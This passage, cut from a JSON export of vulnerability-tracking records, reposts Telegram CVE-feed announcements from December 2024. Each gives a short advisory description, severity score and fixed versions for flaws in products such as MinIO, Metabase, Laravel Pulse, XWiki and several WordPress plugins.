"CVE-2024-55996", "type": "seen", "source": "https://t.me/cvedetector/12992", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55996 - Dreamfox Media Payment Gateway for WooCommerce: Missing Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55996 \nPublished : Dec. 16, 2024, 3:15 p.m. | 1\u00a0hour ago \nDescription : Missing Authorization vulnerability in Dreamfox Dreamfox Media Payment gateway per Product for Woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Dreamfox Media Payment gateway per Product for Woocommerce: from n/a through 3.5.6. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T17:20:44.000000Z"}, {"uuid": "ae3dc6ac-9ed0-4f0c-a2cc-0485e86820a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55949", "type": "seen", "source": "https://t.me/cvedetector/13033", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55949 - MinIO IAM Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55949 \nPublished : Dec. 16, 2024, 8:15 p.m. | 17\u00a0minutes ago \nDescription : MinIO is a high-performance, S3 compatible object store, open sourced under GNU AGPLv3 license. Minio is subject to a privilege escalation in IAM import API, all users are impacted since MinIO commit `580d9db85e04f1b63cc2909af50f0ed08afa965f`. This issue has been addressed in commit `f246c9053f9603e610d98439799bdd2a6b293427` which is included in RELEASE.2024-12-13T22-19-12Z. There are no workarounds possible, all users are advised to upgrade immediately. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T21:33:06.000000Z"}, {"uuid": "1d370b48-75e9-4aa1-8e71-d21d89335b32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55951", "type": "seen", "source": "https://t.me/cvedetector/13032", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55951 - Metabase Cross-Sandbox Field Filter Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55951 \nPublished : Dec. 16, 2024, 8:15 p.m. | 17\u00a0minutes ago \nDescription : Metabase is an open-source data analytics platform. For new sandboxing configurations created in 1.52.0 till 1.52.2.4, sandboxed users are able to see field filter values from other sandboxed users. This is fixed in 1.52.2.5. Users on 1.52.0 or 1.52.1 or 1.5.2 should upgrade to 1.52.2.5. There are no workarounds for this issue aside from upgrading. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T21:33:06.000000Z"}, {"uuid": "a05e9609-4d3f-45d1-af0c-b0d8795547cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55452", "type": "seen", "source": "https://t.me/cvedetector/13054", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55452 - UJCMS Open-Redirect\", \n  \"Content\": \"CVE ID : CVE-2024-55452 \nPublished : Dec. 16, 2024, 11:15 p.m. | 34\u00a0minutes ago \nDescription : A URL redirection vulnerability exists in UJCMS 9.6.3 due to improper validation of URLs in the upload and rendering of new block / carousel items. This vulnerability allows authenticated attackers to redirect unprivileged users to an arbitrary, attacker-controlled webpage. When an authenticated user clicks on the malicious block item, they are redirected to the arbitrary untrusted domains, where sensitive tokens, such as JSON Web Tokens, can be stolen via a crafted webpage. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T00:53:56.000000Z"}, {"uuid": "7287aa91-09cd-4e0a-b41b-ad293d45207e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55451", "type": "seen", "source": "https://t.me/cvedetector/13053", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55451 - UJCMS Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-55451 \nPublished : Dec. 16, 2024, 11:15 p.m. | 34\u00a0minutes ago \nDescription : A Stored Cross-Site Scripting (XSS) vulnerability exists in authenticated SVG file upload and viewing functionality in UJCMS 9.6.3. The vulnerability arises from insufficient sanitization of embedded attributes in uploaded SVG files. When a maliciously crafted SVG file is viewed by other backend users, it allows authenticated attackers to execute arbitrary JavaScript in the context of other backend users' browsers, potentially leading to the theft of sensitive tokens. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T00:53:55.000000Z"}, {"uuid": "8b21bdeb-ff1c-4c1c-b9f9-0176ee27be07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55085", "type": "seen", "source": "https://t.me/cvedetector/13052", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55085 - GetSimple CMS CE Template Editing Function Arbitrary Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-55085 \nPublished : Dec. 16, 2024, 11:15 p.m. | 34\u00a0minutes ago \nDescription : GetSimple CMS CE 3.3.19 suffers from arbitrary code execution in the template editing function in the background management system, which can be used by an attacker to implement RCE. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T00:53:55.000000Z"}, {"uuid": "0a755a88-3d2b-437a-98de-c06baf1f2cfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55554", "type": "seen", "source": "https://t.me/cvedetector/13043", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55554 - Intrexx Portal Server Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-55554 \nPublished : Dec. 16, 2024, 10:15 p.m. | 41\u00a0minutes ago \nDescription : Intrexx Portal Server before 12.0.2 allows XSS via a user-defined portlet. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T00:03:42.000000Z"}, {"uuid": "87bc0e17-1d62-4437-8411-1898f24fd2b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55557", "type": "seen", "source": "https://t.me/cvedetector/13042", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55557 - Weasis Symmetric Encryption Key Hardcoding Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55557 \nPublished : Dec. 16, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : ui/pref/ProxyPrefView.java in weasis-core in Weasis 4.5.1 has a hardcoded key for symmetric encryption of proxy credentials. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T23:13:34.000000Z"}, {"uuid": "9b085b61-545b-41c0-8fec-bf59895988a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55104", "type": "seen", "source": "https://t.me/cvedetector/13041", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55104 - Oracle Primedict Healthcare - SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55104 \nPublished : Dec. 16, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : Online Nurse Hiring System v1.0 was discovered to contain multiple SQL injection vulnerabilities in the component /admin/add-nurse.php via the gender and emailid parameters. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T23:13:33.000000Z"}, {"uuid": "70cee687-27f3-40bd-ae5b-7dabda6bb997", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55970", "type": "seen", "source": "https://t.me/cvedetector/12949", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55970 - Syncfusion Essential Studio for ASP.NET MVC File Manager Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55970 \nPublished : Dec. 15, 2024, 3:15 a.m. | 42\u00a0minutes ago \nDescription : File Manager in Syncfusion Essential Studio for ASP.NET MVC before 27.1.55 has a traversal issue that is related to the request parameter, aka I644734. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-15T05:23:56.000000Z"}, {"uuid": "0ea0314e-b744-48b8-a2c8-9ed924414c2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55103", "type": "seen", "source": "https://t.me/cvedetector/13040", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55103 - \"NurseHire SQL Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-55103 \nPublished : Dec. 16, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : Online Nurse Hiring System v1.0 was discovered to contain a SQL injection vulnerability in the component /admin/profile.php via the fullname parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T23:13:33.000000Z"}, {"uuid": "f6e37a40-2a72-4d57-8ae5-b79494ab7842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55100", "type": "seen", "source": "https://t.me/cvedetector/13039", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55100 - Apache Online Nurse Hiring System Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-55100 \nPublished : Dec. 16, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : A stored cross-site scripting (XSS) vulnerability in the component /admin/profile.php of Online Nurse Hiring System v1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the fullname parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T23:13:32.000000Z"}, {"uuid": "f09e4d8d-0761-4a23-ab8e-7c2f531016d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55999", "type": "seen", "source": "https://t.me/cvedetector/13001", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55999 - Marco Giannini XML Multilanguage Sitemap Generator Missing Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55999 \nPublished : Dec. 16, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : Missing Authorization vulnerability in Marco Giannini XML Multilanguage Sitemap Generator.This issue affects XML Multilanguage Sitemap Generator: from n/a through 2.0.6. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T18:11:00.000000Z"}, {"uuid": "9282d9e1-3c10-42a7-b537-f97761ded427", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55994", "type": "seen", "source": "https://t.me/cvedetector/12991", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55994 - Sofo Comment System Missing Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55994 \nPublished : Dec. 16, 2024, 3:15 p.m. | 1\u00a0hour ago \nDescription : Missing Authorization vulnerability in \u641c\u72d0\u7545\u8a00 \u7545\u8a00\u8bc4\u8bba\u7cfb\u7edf allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects \u7545\u8a00\u8bc4\u8bba\u7cfb\u7edf: from n/a through 2.0.5. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T17:20:43.000000Z"}, {"uuid": "a732b6da-077d-44e1-a514-ecb259cf0044", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55992", "type": "seen", "source": "https://t.me/cvedetector/12990", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55992 - Open Tools WooCommerce Basic Ordernumbers Missing Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55992 \nPublished : Dec. 16, 2024, 3:15 p.m. | 1\u00a0hour ago \nDescription : Missing Authorization vulnerability in Open Tools WooCommerce Basic Ordernumbers allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WooCommerce Basic Ordernumbers: from n/a through 1.4.4. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T17:20:42.000000Z"}, {"uuid": "b3827931-4b85-4989-8119-e2d668cf55bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55990", "type": "seen", "source": "https://t.me/cvedetector/12989", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55990 - Mollie for Contact Form 7 SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55990 \nPublished : Dec. 16, 2024, 3:15 p.m. | 1\u00a0hour ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Ewald Harmsen Mollie for Contact Form 7 allows Blind SQL Injection.This issue affects Mollie for Contact Form 7: from n/a through 5.0.0. \nSeverity: 7.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T17:20:38.000000Z"}, {"uuid": "c0ba1cd3-18e9-42f3-aae4-48aaf02bb21d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55099", "type": "seen", "source": "https://t.me/cvedetector/12797", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55099 - PhpGurukul Online Nurse Hiring System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55099 \nPublished : Dec. 12, 2024, 4:15 p.m. | 44\u00a0minutes ago \nDescription : A SQL Injection vulnerability was found in /admin/index.php in phpgurukul Online Nurse Hiring System v1.0, which allows remote attackers to execute arbitrary SQL commands to get unauthorized database access via the username parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T18:01:12.000000Z"}, {"uuid": "a4c14037-ce50-4efe-8478-4f48591a125c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55946", "type": "seen", "source": "https://t.me/cvedetector/12903", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55946 - Playloom Engine Collaborative Data Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55946 \nPublished : Dec. 13, 2024, 9:15 p.m. | 38\u00a0minutes ago \nDescription : Playloom Engine is an open-source, high-performance game development engine. Engine Beta v0.0.1 has a security vulnerability related to data storage, specifically when using the collaboration features. When collaborating with another user, they may have access to personal information you have entered into the software. This poses a risk to user privacy. The maintainers of Playloom Engine have temporarily disabled the collaboration feature until a fix can be implemented. When Engine Beta v0.0.2 is released, it is expected to contain a patch addressing this issue. Users should refrain from using the collaboration feature in the meantime. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T23:18:16.000000Z"}, {"uuid": "0e3530d9-a0e0-4e2d-8fa9-b83a1e8029ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55969", "type": "seen", "source": "https://t.me/cvedetector/12951", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55969 - Syncfusion Essential Studio for ASP.NET MVC XML Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55969 \nPublished : Dec. 15, 2024, 4:15 a.m. | 45\u00a0minutes ago \nDescription : DocIO in Syncfusion Essential Studio for ASP.NET MVC before 27.1.55 throws XMLException during the resaving of a DOCX document with an external reference XML, aka I640714. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-15T06:14:06.000000Z"}, {"uuid": "e0284810-4eea-4854-bca3-8a9a63e1533b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55887", "type": "seen", "source": "https://t.me/cvedetector/12896", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55887 - Ucum-Java XML External Entity Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55887 \nPublished : Dec. 13, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : Ucum-java is a FHIR Java library providing UCUM Services. In versions prior to 1.0.9, XML parsing performed by the UcumEssenceService is vulnerable to XML external entity injections. A processed XML file with a malicious DTD tag could produce XML containing data from the host system. This impacts use cases where ucum is being used to within a host where external clients can submit XML. Release 1.0.9 of Ucum-java fixes this vulnerability. As a workaround, ensure that the source xml for instantiating UcumEssenceService is trusted. \nSeverity: 8.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T18:17:15.000000Z"}, {"uuid": "7b877fef-58a5-4116-bd9c-d6a4cdcb75e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55661", "type": "seen", "source": "https://t.me/cvedetector/12897", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55661 - \"Laravel Pulse Remote Code Execution Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-55661 \nPublished : Dec. 13, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : Laravel Pulse is a real-time application performance monitoring tool and dashboard for Laravel applications. A vulnerability has been discovered in Laravel Pulse prior to version 1.3.1 that could allow remote code execution through the public `remember()` method in the `Laravel\\Pulse\\Livewire\\Concerns\\RemembersQueries` trait. This method is accessible via Livewire components and can be exploited to call arbitrary callables within the application. An authenticated user with access to Laravel Pulse dashboard can execute arbitrary code by calling any function or static method in which the callable is a function or static method and the callable has no parameters or no strict parameter types. The vulnerable to component is `remember(callable $query, string $key = '')` method in `Laravel\\Pulse\\Livewire\\Concerns\\RemembersQueries`, and the vulnerability affects all Pulse card components that use this trait. Version 1.3.1 contains a patch. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T18:17:16.000000Z"}, {"uuid": "50165a4f-c039-48d9-9ef0-e5f192ee00ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://t.me/cvedetector/12902", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55956 - Cleo Harmony/Linux LexiCom Arbitrary Command Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55956 \nPublished : Dec. 13, 2024, 9:15 p.m. | 38\u00a0minutes ago \nDescription : In Cleo Harmony before 5.8.0.24, VLTrader before 5.8.0.24, and LexiCom before 5.8.0.24, an unauthenticated user can import and execute arbitrary Bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T23:18:15.000000Z"}, {"uuid": "c5673bd2-2785-401c-a4c0-266f77753b9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55889", "type": "seen", "source": "https://t.me/cvedetector/12871", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55889 - phpMyFAQ Reference Vulnerability - iframe-Triggered File Download\", \n  \"Content\": \"CVE ID : CVE-2024-55889 \nPublished : Dec. 13, 2024, 2:15 p.m. | 23\u00a0minutes ago \nDescription : phpMyFAQ is an open source FAQ web application. Prior to version 3.2.10, a vulnerability exists in the FAQ Record component where a privileged attacker can trigger a file download on a victim's machine upon page visit by embedding it in an element without user interaction or explicit consent. Version 3.2.10 fixes the issue. \nSeverity: 4.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T15:46:22.000000Z"}, {"uuid": "1a3bd57b-a846-4fa1-bc4f-7587d31770ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55890", "type": "seen", "source": "https://t.me/cvedetector/12899", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55890 - D-Tale Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-55890 \nPublished : Dec. 13, 2024, 6:15 p.m. | 35\u00a0minutes ago \nDescription : D-Tale is a visualizer for pandas data structures. Prior to version 3.16.1, users hosting D-Tale publicly can be vulnerable to remote code execution allowing attackers to run malicious code on the server. Users should upgrade to version 3.16.1 where the `update-settings` endpoint blocks the ability for users to update the `enable_custom_filters` flag. The only workaround for versions earlier than 3.16.1 is to only host D-Tale to trusted users. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T19:57:35.000000Z"}, {"uuid": "c922c5b6-8dfd-4f6e-8db6-76a76de27072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55886", "type": "seen", "source": "https://t.me/cvedetector/12814", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55886 - OpenSearch Data Prepper Unauthenticated Data Ingestion Through Custom Authentication Plugins\", \n  \"Content\": \"CVE ID : CVE-2024-55886 \nPublished : Dec. 12, 2024, 8:15 p.m. | 42\u00a0minutes ago \nDescription : OpenSearch Data Prepper is a component of the OpenSearch project that accepts, filters, transforms, enriches, and routes data at scale. A vulnerability exists in the OpenTelemetry Logs source in Data Prepper starting inversion 2.1.0 and prior to version 2.10.2 where some custom authentication plugins will not perform authentication. This allows unauthorized users to ingest OpenTelemetry Logs data under certain conditions. This vulnerability does not affect the built-in `http_basic` authentication provider in Data Prepper. Pipelines which use the `http_basic` authentication provider continue to require authentication. The vulnerability exists only for custom implementations of Data Prepper\u2019s `GrpcAuthenticationProvider` authentication plugin which implement the `getHttpAuthenticationService()` method instead of `getAuthenticationInterceptor()`. Data Prepper 2.10.2 contains a fix for this issue. For those unable to upgrade, one may use the built-in `http_basic` authentication provider in Data Prepper and/or add an authentication proxy in front of one's Data Prepper instances running the OpenTelemetry Logs source. \nSeverity: 6.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T22:12:17.000000Z"}, {"uuid": "cd11abf2-70df-499a-8a0b-cd2eece79249", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55879", "type": "seen", "source": "https://t.me/cvedetector/12812", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55879 - XWiki Platform Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55879 \nPublished : Dec. 12, 2024, 8:15 p.m. | 42\u00a0minutes ago \nDescription : XWiki Platform is a generic wiki platform. Starting in version 2.3 and prior to versions 15.10.9, 16.3.0, any user with script rights can perform arbitrary remote code execution by adding instances of `XWiki.ConfigurableClass` to any page. This compromises the confidentiality, integrity and availability of the whole XWiki installation. This has been patched in XWiki 15.10.9 and 16.3.0. No known workarounds are available except upgrading. \nSeverity: 9.1 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T22:12:13.000000Z"}, {"uuid": "f47de0b9-88bd-4232-9342-58adc326a357", "vulnerability_lookup_origin": 